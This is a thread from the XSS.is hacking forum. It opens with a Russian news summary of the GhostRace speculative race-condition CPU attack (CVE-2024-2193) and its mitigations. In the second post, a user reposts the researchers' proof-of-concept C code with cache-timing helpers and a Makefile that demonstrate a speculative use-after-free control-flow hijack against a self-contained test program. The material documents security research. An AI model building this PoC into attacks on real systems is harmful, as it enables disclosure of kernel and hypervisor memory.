• XSS.stack #1 – первый литературный журнал от юзеров форума

GhostRace - атака на механизм спекулятивного выполнения в процессорах Intel, AMD, ARM и IBM

INC.

REVERSE SIDE OF THE MEDAL
Эксперт
Регистрация
02.02.2008
Сообщения
3 949
Реакции
1 872
Группа исследователей из Амстердамского свободного университета и компании IBM разработала новый вариант атаки на механизм спекулятивного выполнения в современных процессорах, получивший кодовое имя GhostRace (CVE-2024-2193). Проблема проявляется в процессорах, производимых компаниями Intel, AMD, ARM и IBM. Для демонстрации принципов проведения атаки опубликован прототип эксплоита, позволяющий извлекать данные из памяти ядра Linux с производительностью 12 Кб в секунду при уровне надёжности, типичном для атак класса Spectre. При проведении атак на системы виртуализации, атакующий из гостевой системы может определить содержимое памяти хост-окружения или других гостевых систем.

Предложенный метод атаки манипулирует возникновением в спекулятивном режиме состояний гонки, способных привести к обращению к уже освобождённым областям памяти, в случае неверного прогнозирования процессором ветвления в коде, в котором осуществляются условные операции с примитивами синхронизации потоков, такими как mutex и spinlock. Возникающие спекулятивные обращения к памяти после определения неверного предсказания отбрасываются процессором, но следы их выполнения оседают в процессорном кэше и могут затем быть извлечены при помощи анализа по сторонним каналам.

По аналогии с эксплуатацией уязвимостей Spectre v1 для осуществления атаки GhostRace требуется наличие в ядре определённых последовательностей инструкций (гаджетов), приводящих к спекулятивному выполнению кода в зависимости от внешних условий, на которые может влиять атакующий. В целях оптимизации процессор начинает выполнять подобные гаджеты в спекулятивном режиме, но потом определяет, что предсказание ветвления не оправдалось и откатывает операции в исходное состояние.

Гаджет образуется, например, из участков кода, в которых состояние проверяется в бесконечном цикле и осуществляется выход из цикла после снятия блокировки доступа к ресурсу. Соответственно, при спекулятивном выполнении инструкций можно добиться ложного срабатывания перехода и выполнения защищённого блокировкой набора инструкций, несмотря на то, что фактически блокировка ресурса остаётся неснятой.

85786645-8657354.png

При анализе кода ядра Linux 5.15.83 исследователями выявлено 1283 гаджета, приводящих к спекулятивному обращению к уже освобождённой памяти (SCUAF - Speculative Concurrent Use-After-Free). Потенциально атака может быть совершена на системы виртуализации, любые ядра ОС и программы, в которых примитивы синхронизации потоков проверяются с использованием условных операторов, а код выполняется на платформах допускающих спекулятивное выполнение операций ветвления (x86, ARM, RISC-V и т.п.).

Для блокирования атаки предлагается использовать сериализацию примитивов синхронизации, т.е. добавление процессорной инструкции LFENCE после команды cmpxchq, проверяющей состояние блокировки. Предложенный для включения в ядро Linux метод защиты приводит к снижению производительности приблизительно на 5% при прохождении теста LMBench, так как вызов LFENCE запрещает упреждающее выполнение следующих инструкций, до того как будет завершена фиксация всех предыдущих операций.

Разработчики ядра Linux и компании-производители CPU были уведомлены о проблеме в конце 2023 года. Компания AMD опубликовала отчёт о наличии уязвимости, в котором рекомендовала использовать типовые приёмы защиты от атак класса Spectre v1. Компании Intel и ARM пока не отреагировали.

Разработчики ядра Linux в ближайшем будущем не намерены использовать предложенный метода сериализации примитивов синхронизации из-за снижения производительности, но уже реализовали необходимые ограничения для защиты от сопутствующей техники эксплуатации IPI Storming (Inter-Process Interrupt Storming) (CVE-2024-26602), которая применяется для прерывания процесса в нужный момент (наводнение ядра CPU прерываниями, мешающими завершению сработавшего во время работы процесса обработчика прерываний) с целью предоставления временного окна для осуществления спекулятивного обращения к уже освобождённой памяти.

Несмотря на то что в Xen вызывающих утечки гаджетов пока не выявлено, разработчики гипервизора подготовили изменения с реализацией защищённого механизма блокировок LOCK_HARDEN, похожего на ранее добавленный метод защиты BRANCH_HARDEN. Из-за возможного негативного влияния на производительность режим LOCK_HARDEN отключён по умолчанию.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Продублирую PoC сюда...

src.c
C:
#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>

#include "fr.h"

/* Flush+Reload buffer. */
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));

/* Vulnerable lock. */
volatile int r __cacheline_aligned;
pthread_mutex_t lock;

/* Gadget-related code/data. */
void my_callback()
{
}

void evil_callback()
{
    /* We use the second entry of the F+R buffer to signal successful control-flow hijack. */
    maccess(&fr_buff[4096]);
}

typedef void (*cb_t)();
typedef struct data_s
{
    cb_t callback;
} data_t;
data_t *data_ptr;

/* Utility functions. */
void train_lock()
{
    int i;
    for (i = 0; i < 10; i++)
    {
        pthread_mutex_lock(&lock);
        pthread_mutex_unlock(&lock);
    }
}

void init()
{
    /* Initialize Flush+Reload Buffer. */
    memset(fr_buff, 'x', FR_BUFF_SIZE);
    flush(&fr_buff[0]);
    flush(&fr_buff[4096]);

    /* Initialize victim lock. */
    int r;
    r = pthread_mutex_init(&lock, NULL);
    assert(r == 0 && "pthread_mutex_init failed");

    /* Initialize victim memory slot. */
    data_ptr = malloc(sizeof(data_t));
    data_ptr->callback = my_callback;
}

/* Main functions. */
int main()
{
    /* Initialize. */
    init();

    /* Thread 1: Train the lock to be always taken. */
    train_lock();

    /* Thread 1: Trigger the free gadget. */
    pthread_mutex_lock(&lock);
    free(data_ptr);

    /* Thread 2: Thread 1 is interrupted after free() before state is updated and lock is released. Then, Thread 2 reuses memory to control future dangling pointer dereferences (and hijack control flow to the evil callback). */
    data_t *p = malloc(sizeof(data_t));
    p->callback = evil_callback;
    assert(p);

    /* Thread 2: Trigger the use gadget. This will only execute a UAF (i.e.,  control-flow hijack) speculatively. Note: we cannot use pthread_mutex_lock here as it would deadlock us architecturally within the same pthread. Instead, we use pthread_mutex_trylock to simulate the vulnerable inner branch of pthread_mutex_lock. */
    r = pthread_mutex_trylock(&lock);
    flush(&r);
    if (likely(r == 0))
    {
        data_ptr->callback();
        pthread_mutex_unlock(&lock);
    }

    /* Thread 1: Resume execution and terminate the free critical section. */
    data_ptr = NULL;
    pthread_mutex_unlock(&lock);

    /* Thread 2: Check signal via F+R covert channel. */
    unsigned long t1 = probe_timing(&fr_buff[0]);
    unsigned long t2 = probe_timing(&fr_buff[4096]);
    if (t2 < t1)
    {
        printf("Got signal (%lu < %lu): Memory reuse, Speculative UAF, and Speculative control-flow hijack triggered successfully.\n", t2, t1);
    }
    else
    {
        printf("Unexpected timings: %lu << %lu\n", t1, t2);
    }

    return 0;
}

fr.h
C:
#ifndef FR_H
#define FR_H

#define likely(expr) __builtin_expect(!!(expr), 1)

#define __cacheline_aligned                    \
  __attribute__((__aligned__(64),            \
         __section__(".data..cacheline_aligned")))

static inline unsigned long probe_timing(char *adrs) {
    volatile unsigned long time;

    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    movl %%eax, %%esi  \n"
        "    movl (%1), %%eax   \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    subl %%esi, %%eax  \n"
        "    clflush 0(%1)      \n"
        : "=a" (time)
        : "c" (adrs)
        : "%esi", "%edx"
    );
    return time;
}

static inline unsigned long long rdtsc() {
    unsigned long long a, d;
    asm volatile ("mfence");
    asm volatile ("rdtsc" : "=a" (a), "=d" (d));
    a = (d<<32) | a;
    asm volatile ("mfence");
    return a;
}

#define maccess(p) \
  asm volatile ("movq (%0), %%rax\n" \
    : \
    : "c" (p) \
    : "rax")

#define flush(p) \
    asm volatile ("clflush 0(%0)\n" \
      : \
      : "c" (p) \
      : "rax")

#endif


Makefile
Код:
CC = gcc
CFLAGS = -O3 -pthread
INCLUDES = ./fr.h

all: src

src: src.c $(INCLUDES)
    $(CC) $(CFLAGS) -o src src.c

run: src
    @./src

.PHONY: clean
clean:
    rm -f src
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх